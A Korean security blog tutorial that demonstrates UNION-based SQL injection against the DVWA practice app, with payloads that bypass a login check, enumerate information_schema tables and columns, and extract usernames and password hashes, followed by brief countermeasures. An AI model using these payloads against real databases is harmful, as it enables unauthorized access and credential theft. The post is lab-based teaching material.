일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 알고리즘
- 백준알고리즘
- CodeQL
- JDBC
- 자료구조
- Database
- DVWA
- 운영체제
- MySQL
- Network
- virtualbox
- Juice Shop
- github
- goKart
- ubuntu
- Python
- sqli
- github action
- C언어
- OWASP
- JSP
- gosec
- Codeup
- SUA
- juice-shop
- LGTM
- 데이터통신
- OpenSource
- gotify
- firewall
- Today
- Total
비트(bit)주세요
SQL Injection 본문
만약에 SQL의 기초가 되어 있지 않았다면 이 글을 먼저 보고 오시는 것을 추천드립니다.
https://standardh.tistory.com/50
SQL Injection을 위한 SQL
SQL Injection? : 악의적인 SQL문을 실행시켜 데이터베이스를 비정상적으로 조작하는 공격 방법 ※ SQL Injection을 실습하기 전, 알면 좋은 몇가지 DML(Data Manipulation Language) : 데이터 조작어 -> SELECT..
standardh.tistory.com
SQL Injection?
: 악의적인 SQL문을 실행시켜 데이터베이스를 비정상적으로 조작하는 공격 방법
어떻게?
SQL 쿼리 하나를 예로 들자면
SELECT * FROM member WHERE id='{입력받는 값}' and passwd='{입력받는 값}';
가 있다고 칩시다.
우리가 id를 guest로 입력하고 passwd는 1234로 입력하게 된다면 SQL 쿼리는
SELECT * FROM member WHERE id='guest' and passwd='1234';
가 됩니다.
이러면 DB는 SQL 쿼리를 전송받고,
id가 guest이며 passwd는 1234인 유저가 DB에 존재하는지 찾아봅니다.
있으면 그 사람의 정보를 모두 출력해줍니다.
SQL Injection은 이러한 점을 악용합니다.
예를 들어서
① id를 입력하는 칸에 아무거나 치고
② 문자를 구분하는 특수문자인 싱글쿼터(')로 닫아버린 다음에
③ 뭐든지 참으로 만드는 or 1=1을 쓰고
④ 뒤의 문장은 모두 무시하는 주석(#, --)을 달아주면
SQL 쿼리는
SELECT * FROM member WHERE id='1' or 1=1 #' and passwd='';
이렇게 변하면서 member 테이블에 존재하는 모든 정보를 출력하게 됩니다.
입력값을 제대로 검증하지 않았기 때문에 발생한 취약점이라고도 볼 수 있습니다.
SQL Injection을 이용하여 dvwa 데이터베이스에 존재하는 값을 추출해보겠습니다.
1을 입력했더니 User ID가 1인 유저의 정보가 뜨네요
2도 입력해보았더니 정상적으로 출력되었습니다.
1' or 1=1# 를 입력했더니 모든 유저의 정보가 출력되었습니다.
본격적으로 UNION을 사용해 데이터베이스의 존재하는 값을 추출해야합니다.
하지만 SQL 쿼리 구조가 어떻게 이루어졌는지 아직 모릅니다.
(출력 컬럼이 몇개인지 아직 모릅니다)
그러므로 출력할 컬럼을 1개부터 시작하고 점점 늘려가며 서버의 응답결과를 관찰하겠습니다.
(출력 컬럼의 갯수가 맞지 않으면 오류발생)
1' union select database() # 입력시
(출력 컬럼 1개)
출력 컬럼 수가 맞지 않아 오류 발생
1' union select database(), user() # 입력
(출력 컬럼 2개)
현재 데이터베이스의 이름은 dvwa라는 것도 알아냈습니다.
출력 컬럼 갯수는 2개가 맞습니다.
데이터베이스의 이름을 알아냈으니 데이터베이스 안에 어떤 테이블이 존재하는지 출력해야 합니다.
다음과 같은 쿼리를 입력합니다.
1' union select table_name, 'null' from information_schema.columns where table_schema='dvwa' #
dvwa라는 데이터베이스에 존재하는 테이블은 guestbook, users 2개입니다.
데이터베이스에 테이블이 무엇이 있는지 알아냈으니 테이블 안의 컬럼에 어떠한 것들이 있는지 알아야합니다.
guestbook 테이블부터 컬럼을 조회합시다.
다음과 같은 쿼리를 입력합니다.
1' union select column_name, 'null' from information_schema.columns
where table_name='guestbook' #
guestbook의 column은 comment_id, comment, name입니다.
phpmyadmin으로 구조를 보니 동일합니다.
컬럼에 무엇이 있는지 알아냈으니
해당 컬럼에 어떠한 값들이 있는지 조회해야합니다.
컬럼은 총 3개인데, 출력 컬럼은 2개로만 해야 합니다.
comment_id, comment의 값부터 봅시다.
다음과 같은 쿼리를 입력해줍니다.
테이블 이름과 컬럼 이름을 알아냈으니, 이제 쿼리는 좀 짧아집니다.
1' union select comment_id, comment from guestbook #
이제 comment_id, name의 값을 봅시다.
다음과 같은 쿼리를 입력합니다.
1' union select comment_id, name from guestbook #
아까까지 guestbook 테이블의 컬럼 값을 조회했으니
이제는 users의 컬럼을 조회합시다.
users라는 테이블이 2개 이상일수도 있으니, 확실하게 데이터베이스 이름은 dvwa라는 것까지 명시해줍시다.
다음과 같은 쿼리를 입력합니다.
1' union select column_name, 'null' from information_schema.columns
where table_name='users' and table_schema='dvwa'#
users의 컬럼은 user_id, first_name, last_name 등등 총 8가지가 나오네요
phpmyadmin으로 구조를 보니 동일합니다.
8가지 컬럼의 값을 다 뽑진 않을거고 중요해 보이는 것 3개만 뽑아보겠습니다.
user_id, password, user 이 3가지만 뽑겠습니다.
user_id, password 컬럼의 값부터 뽑겠습니다.
다음과 같은 쿼리를 입력해줍니다.
테이블 이름과 컬럼 이름을 알아냈으니, 이제 쿼리는 좀 짧아집니다.
1' union select user_id, password from users #
이제 user, password의 값을 봅시다.
다음과 같은 쿼리를 입력합니다.
1' union select user, password from users #
SQL 쿼리로 출력한 정보들을 조합해보면 구조가 대충 이렇게 됩니다.
코드의 길이가 짧은 편은 아니기 때문에 이렇게 에디터에 쓰고 복사해서 붙여넣는 방식을 추천드립니다.
SQL Injection 대응책?
- 입력값 검증
-> 입력값 검증이 이루어지지 않아서 발생한 취약점
- 에러 메시지 노출 차단
-> 에러 메시지로 공격 가능, 불가능 여부를 보았기 때문에
'정보보안 > 웹보안' 카테고리의 다른 글
XSS(Cross Side Scripting) (0) | 2021.06.11 |
---|---|
Blind SQL Injection (0) | 2021.06.04 |
SQL Injection을 위한 SQL (0) | 2021.06.02 |
Web Shell (0) | 2021.05.27 |
netcat과 포트포워딩 (0) | 2021.05.23 |